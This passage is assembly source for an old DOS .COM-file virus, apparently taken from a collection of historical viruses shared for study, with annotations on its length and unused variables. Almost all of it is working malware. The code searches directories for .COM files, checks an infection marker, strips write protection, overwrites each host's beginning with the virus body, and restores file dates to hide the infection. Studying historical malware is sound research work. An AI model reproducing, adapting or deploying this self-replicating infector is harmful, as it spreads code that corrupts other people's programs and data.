560.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

; Search for the next sub-dirs. Change to other drive if no sub-dir is
; found.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

find_next_subdir:
                mov        ah,4Fh                   ; search for next sub-dir.
                int        21h                  
                jc         change_disk                
                dec        bx
                jnz        find_next_subdir        

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Change found sub-dir in actual one.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

use_next_subdir:
                mov        ah,2Fh                   ; get dta address
                int        21h                  
                add        bx,1Ch
                mov        word ptr es:[bx],'\'     ; address of name in dta 
                inc        bx
                push        ds
                mov        ax,es
                mov        ds,ax
                mov        dx,bx
                mov        ah,3Bh                   ; change path
                int        21h                  
                pop        ds
                mov        bx,cs:counter         
                inc        bx
                mov        cs:counter,bx         

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Search first .COM-file in the actual directory. If no .COM-files present,
; search the next directory.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

find_first_file:
                mov        ah,4Eh                   ; search for first
                mov        cx,1                     ; mask
                lea        dx,cs:mask_com       
                int        21h                  
                jc         find_first_subdir                       
                jmp        short check_if_ill              

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; If the file is already infected, search next file.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

find_next_file:
                mov        ah,4Fh                   ; search for next
                int        21h                  
                jc        find_first_subdir     

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Test on infection.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

check_if_ill:
                mov        ah,3Dh                   ; open channel
                mov        al,2                     ; read/write
                mov        dx,9Eh                   ; address of name in dta
                int        21h                  
                mov        bx,ax                    ; save channel
                mov        ah,3Fh                   ; read file
                mov        cx,buflen
                mov        dx,buffer                ; write in buffer
                int        21h                  
                mov        ah,3Eh                   ; close file
                int        21h                  

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Test if the three NOPs of 'VIRUS' are present. If so, the file is already
; infected, continue searching.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        bx,cs:[buffer]        
                cmp        bx,9090h
                jz         find_next_file          

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Erase the write-protection attribute from MS-DOS.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        ah,43h                   ; write enable
                mov        al,0
                mov        dx,9Eh                   ; address of name in dta
                int        21h                  
                mov        ah,43h               
                mov        al,1
                and        cx,0FEh
                int        21h                  

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Open file for writing/reading.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        ah,3Dh                   ; open channel
                mov        al,2                     ; read/write
                mov        dx,9Eh                   ; address of name in dta
                int        21h                  

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Store date of file for later use.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        bx,ax                    ; channel
                mov        ah,57h                   ; get date
                mov        al,0
                int        21h                  
                push        cx                      ; save data
                push        dx

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Save the original jump from program.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        dx,cs:[conta]            ; save old jmp
                mov        cs:[jmpbuf],dx        
                mov        dx,cs:[buffer+1]         ; save new jump
                lea        cx,cs:cont-100h                
                sub        dx,cx
                mov        cs:[conta],dx               

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; 'VIRUS' copies itself to the beginning of a file.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        ah,40h                   ; write virus
                mov        cx,buflen                ; length buffer
                lea        dx,main                  ; write virus
                int        21h                  

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Restore the old file-date.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        ah,57h                   ; write date
                mov        al,1
                pop        dx
                pop        cx                       ; restore date
                int        21h                  

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Close file.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        ah,3Eh                   ; close file
                int        21h                  

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Restore the old jump-address. 'VIRUS' stores at address 'conta' the jump
; which was at the beginning of the host-program. This will keep the host-
; program as much executable as possible. After storing the address, it 
; works with the jumpaddress of 'VIRUS'. 'VIRUS' will thus be in the 
; work-memory of the program.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        dx,cs:[jmpbuf]           ; restore old jmp
                mov        cs:[conta],dx         
hops:
                nop
                call        use_old                        

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Continue the execution of the host-program.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘


cont            db          0e9h
conta           dw          0
                mov         ah,00
                int         21h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Activate the diskdrive choosen at the entry of the program.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

use_old:
                mov        ah,0eh                   ; use old drive
                mov        dl,cs:drive
                int        21h                        
    
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; Activate the path choosen at the entry of the program.
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

                mov        ah,3Bh                   ; use old dir
                lea        dx,cs:[1FDh]             ; get old path and 
                                                    ; backslash
                int        21h                      
                ret

  
search_order    db        0FFh,1,0,2,3,0FFh,0,0FFh
pointer         dw        0000
counter         dw        0000
disks           db        0
mask_com        db        "*.com",00                ; search for com-files
mask_dir        db        "*",00                    ; search for dirs
mask_exe        db        0FFh, 0, 0, 0, 0, 0, 3Fh
                db        0,"????????exe",0,0,0,0
                db        0,"????????com",0
mask_all        db        0FFh, 0, 0, 0, 0, 0, 3Fh
                db        0,"???????????",0,0,0,0
                db        0,"????????com",0

;; mask_all is never used by the code and easilly can be ommited
;; to shorten the code

buffer          equ       0e000h                    ; a save place
buflen          equ       230h                      ; length of virus

;; At this place I disagree with Ralf. The actual length of the virus
;; is 21Dh bytes when compiled in MASM and 219h bytes when compiled
;; in A86. Because it was Ralf's intention to compile this in MASM
;; 21Dh should be the original length.

jmpbuf          equ       buffer+buflen             ; a save place for jmp
path            db        "\",0                     ; first path
drive           db        0                         ; actual drive
back_slash      db        "\"

;; This variable is never used in the code and easilly can be ommited
;; to shorten the code.

old_path        db        32 dup (?)                ; old path
  
code            ends
  
                end        main